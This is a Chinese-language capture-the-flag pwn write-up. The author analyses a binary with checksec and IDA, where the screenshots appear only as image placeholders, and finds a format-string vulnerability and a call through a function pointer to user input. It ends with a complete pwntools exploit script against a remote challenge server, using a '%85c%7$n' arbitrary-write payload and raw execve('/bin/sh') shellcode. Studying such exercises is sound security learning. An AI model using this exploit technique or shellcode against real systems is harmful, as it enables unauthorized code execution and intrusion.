checksec一下，開了canary，開了NX
image.png
拖進(jìn)ida
image.png
image.png
image.png
image.png
image.png
image.png
好吧，思路錯(cuò)了，光想著打游戲了，通過大佬的博客http://www.itdecent.cn/p/c502dd00aa29發(fā)現(xiàn)了
image.png
這一句是將v1強(qiáng)制轉(zhuǎn)化為函數(shù)指針，然后調(diào)用這個(gè)函數(shù)，所以我們可以把shellcode寫到v1里去，那么接下來就是要想方設(shè)法得跳到這個(gè)位置去，我們可以看到上面有個(gè)if語(yǔ)句
a1[0] == a1[1]，往上翻我們知道a1就是前面的v4，v4=v3而v3[0] = 68,v3[1] = 85，所以我們要修改a1[0]為85，題目一開始給了我們的secret就是一個(gè)地址，就是a1的地址，而看到sub_400BB9函數(shù)，很明顯有一個(gè)格式化字符串漏洞，可以進(jìn)行任意地址寫，所以我們需要先跳轉(zhuǎn)到sub_400BB9函數(shù)調(diào)用printf，這一刻前面分析的游戲還是起到了用處
腳本：
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
p = remote('111.198.29.45',52723)
p.recvuntil('secret[0] is')
addr = int(p.recvuntil("\n"),16)
log.success("addr:"+hex(addr))
p.recvuntil('name be:\n')
p.sendline("y0ona")
p.recvuntil('or up?:\n')
p.sendline('1')
p.recvuntil("address'\n")
p.sendline(str(addr))
p.recvuntil('you wish is:\n')
payload = "%85c" + "%7$n"
p.sendline(payload)
#shellcode = asm(shellcraft.sh())
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.recvuntil('USE YOU SPELL\n')
p.sendline(shellcode)
p.interactive()
